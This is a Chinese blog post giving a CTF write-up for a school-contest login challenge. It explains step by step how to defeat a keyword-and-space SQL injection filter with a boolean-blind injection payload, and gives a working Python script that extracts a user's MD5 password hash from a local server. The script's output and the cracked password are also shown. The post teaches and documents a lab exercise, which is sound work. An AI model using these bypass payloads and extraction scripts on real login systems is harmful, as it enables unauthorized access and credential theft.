Shaoqun Liu's blog
搜索文档…
CTF小组赛Writeup
登陆level 1是我大二的时候给我们学校校赛出的原题。
level1的反注入措施不仅去掉了空格,而且还去掉了*号,这样我们就无法使用块注释法来代替空格。而且也去掉了#,这样我们添加单引号后,也无法通过结尾注释法来消除原本就存在在末尾的单引号。除此之外,其还去掉了包括UNION在内的一众SQL关键字。这样我们就得想想办法了。
首先,我们观察一下代码逻辑:
1
$username = anti_sql_injection($inp_id, $inp_level);
2
$sqlquery = "SELECT username, password FROM user WHERE username='" . $username . "'";;
3
$sqlret = $mysqli->query($sqlquery);
4
if ($sqlret) {
5
$result = $sqlret->fetch_all(MYSQLI_ASSOC);
6
if (count($result) == 1) {
7
if ($result[0]['password'] == strtoupper(md5($inp_pwd))) {
8
// 登陆成功
9
} else {
10
// 弹框密码错误
11
}
12
} else {
13
// 弹框用户名错误
14
}
15
} else {
16
// SQL执行失败
17
}
Copied!
我们发现,当SQL语句没有返回任何数据的时候,其会输出“用户名错误”,当其输出一条数据且密码不正确的时候,其会输出“密码错误”。所以,我们可以透过其输出值是否为“用户名错误”,来判断这条SQL语句到底有没有产生输出。这样,我们就找到了布尔注入的一个先决条件——布尔值。
用户输入的密码,经MD5算法散列后,其会输出一个长度为32的字符串,这个字符串中每一个字符的取值范围都是0-9以及A-F,也就是16进制数的字符。这样的话呢,我们就得想办法把密码Hash给猜出来。在MySQL中,我们可以使用substr函数来截取子字符串。
我们先忽略其它限制条件,当用户名的输入为shaoqunliu'AND SUBSTR(password, 1, 1)='?时,拼接后的SQL语句为:
1
SELECT username, password FROM user WHERE username='shaoqunliu' AND SUBSTR(password, 1, 1)='?'
Copied!
在如上SQL语句中,当usernameshaoqunliu的时候,并且?处的字符为数据库中密码hash串的第一个字符时,这条SQL语句是有输出的。在外面看,其会返回“密码错误”。当?处的字符不为正确密码hash的第一个字符时,这条SQL是不会有输出的,从外面看,其会返回“用户名错误”。
这样呢,我们就可以对密码字段,一个字符一个字符地去尝试,至多尝试
32×16=51232\times 16=512
​次即可试出密码hash串来。有了这个思路,我们再来看这个题的危险字符屏蔽逻辑:
1
$filter = "/ |\*|#|,|union|like|sleep|ascii|regexp|for|and|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "/i";
Copied!
首先,你没法用逗号,SUBSTR(password, 1, 1)里面的逗号用不了了,我们可以使用FROM ... FOR ...来代替,上述截取字符串逻辑即可写成SUBSTR(password FROM 1 FOR 1)。然后突然发现,你FOR也用不了,于是我们只能倒着推导密码字符串,也就是使用SUBSTR(password FROM 32),从32到1,每次试验前将之前试对的字符都拼接在要试验的字符后面。
逗号的问题和FOR的问题解决了,我们发现我们AND也用不了,同时被屏蔽的还有AND的替代字符&AND可以用子查询配合等号来替代,我们先来试着写一下子查询,子查询需要保证的条件就是当用户名为shaoqunliu且密码hash串的后几位为?的时候返回true,在不符合上述条件时无返回,且不能使用AND,如下:
1
SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?'
Copied!
然后我们再将上述子查询用连等号连接起来,植入原始的SQL中,我们姑且先用#注释符消除掉最后的那个'给整个SQL带来的影响,如下:
1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')#'
Copied!
当SQL执行器执行这条SQL,且扫描到用户名为shaoqunliu的那一行的时候:
  • 如果密码hash串的后几位恰好为?,则等号的前半部分返回值为1,后半部分返回值亦为1,所以整个WHERE子句的值为真,整个SQL有返回。
  • 如果密码hash串的后几位不为?的时候,等号的前半部分为1,后半部分返回值为NULL,整个SQL无返回。
当SQL执行器扫描到用户名不为shaoqunliu的其它行的时候,对于子查询而言,SELECT 1 FROM user WHERE username='shaoqunliu'返回值首先就为NULL,接着就会导致整个子查询部分返回NULL。因此在这种情况下SQL是无返回的。
背景知识:
在SQL中NULL与任何数做比较结果都只能是NULL。例如SQL: SELECT NULL=0, NULL=1, NULL<1, NULL>1的返回结果就为4个NULL
解决了AND不能用的问题呢,我们再来看一下我们的SQL,我们需要解决的下一个问题,即是#注释符不能用了,而且--也被屏蔽了,所以我们需要采用别的手段来消除掉最后那个。我们前面已经使用了一个等号,而且SQL是支持连等的,所以我们可以通过='或者!='来消除最后的',而且此时我们还必需保证对前半部分的语义没有影响。我们先假设用='来处理:
1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')=''
Copied!
首先,SQL解释器对于这种连等是自左向右解析处理的,也就是上述语句与下述语句是等价的:
1
SELECT username, password FROM user WHERE ((username='shaoqunliu')=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?'))=''
Copied!
我们将我们之前写好的前半部分,也就是((username='shaoqunliu')=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')),作为一个整体X,对于等式,X=''X处的内容只有为0或者它自身的时候,等式才为true
在我们之前约定的条件中,我们需要当用户名为shaoqunliu且密码hash串的后几位恰好为?时,SQL才能有返回,也就是WHERE子句的值为1。而这个时候,前半部分,也就是整体X的值为为1,1=''的值为0,恰好不符合我们的要求,所以我们在此处填充的应该是!='。走完这一步,我们得到了如下SQL:
1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')!=''
Copied!
再如下时,我们又将遇到一个难题,就是输入部分不允许使用空格,而且过滤逻辑中屏蔽了星号,块注释法也不再好使了。我们可以用括号代替空格,如下:
1
SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='shaoqunliu'))C)WHERE(SUBSTR(password FROM 32)='?'))!=''
Copied!
这样,用户名部分的最终payload即为:
1
shaoqunliu'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='shaoqunliu'))C)WHERE(SUBSTR(password FROM 32)='?'))!='
Copied!
根据如上思路,我们即可写出如下脚本进行快速尝试:
1
import requests
2
3
if __name__ == '__main__':
4
md5char, username, password = '1234567890ABCDEF', 'shaoqunliu', ''
5
for i in range(32):
6
for char in md5char:
7
content = requests.post('http://127.0.0.1:8080/login.php', data={
8
'username': f"{username}'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='{username}'))C)WHERE(SUBSTR((password)FROM({32 - i}))='{char + password}'))!='",
9
'password': 123, 'difficulty': 1
10
}).content.decode()
11
if '密码错误' in content:
12
password = char + password
13
print(f"{32 - i:2d}:{password:>33}")
14
print(f"ff:{password:>33}")
15
Copied!
输出如下:
1
32: 2
2
31: 72
3
30: 072
4
29: 0072
5
28: A0072
6
27: 6A0072
7
26: A6A0072
8
25: 3A6A0072
9
24: B3A6A0072
10
23: BB3A6A0072
11
22: 2BB3A6A0072
12
21: F2BB3A6A0072
13
20: 8F2BB3A6A0072
14
19: D8F2BB3A6A0072
15
18: ED8F2BB3A6A0072
16
17: 3ED8F2BB3A6A0072
17
16: 63ED8F2BB3A6A0072
18
15: C63ED8F2BB3A6A0072
19
14: 0C63ED8F2BB3A6A0072
20
13: 60C63ED8F2BB3A6A0072
21
12: E60C63ED8F2BB3A6A0072
22
11: EE60C63ED8F2BB3A6A0072
23
10: 2EE60C63ED8F2BB3A6A0072
24
9: 92EE60C63ED8F2BB3A6A0072
25
8: 492EE60C63ED8F2BB3A6A0072
26
7: E492EE60C63ED8F2BB3A6A0072
27
6: 8E492EE60C63ED8F2BB3A6A0072
28
5: 78E492EE60C63ED8F2BB3A6A0072
29
4: A78E492EE60C63ED8F2BB3A6A0072
30
3: 1A78E492EE60C63ED8F2BB3A6A0072
31
2: 61A78E492EE60C63ED8F2BB3A6A0072
32
1: A61A78E492EE60C63ED8F2BB3A6A0072
33
ff: A61A78E492EE60C63ED8F2BB3A6A0072
Copied!
然后我们知道了shaoqunliu这个账户,密码的MD5值为A61A78E492EE60C63ED8F2BB3A6A0072,我们找了一个线上的MD5彩虹表网站——CMD5,经过彩虹表反查得知此hash所对应的密码值为pa$word。就这样,我们即可使用这个用户名密码登陆系统啦。
最近更新 7mo ago
复制链接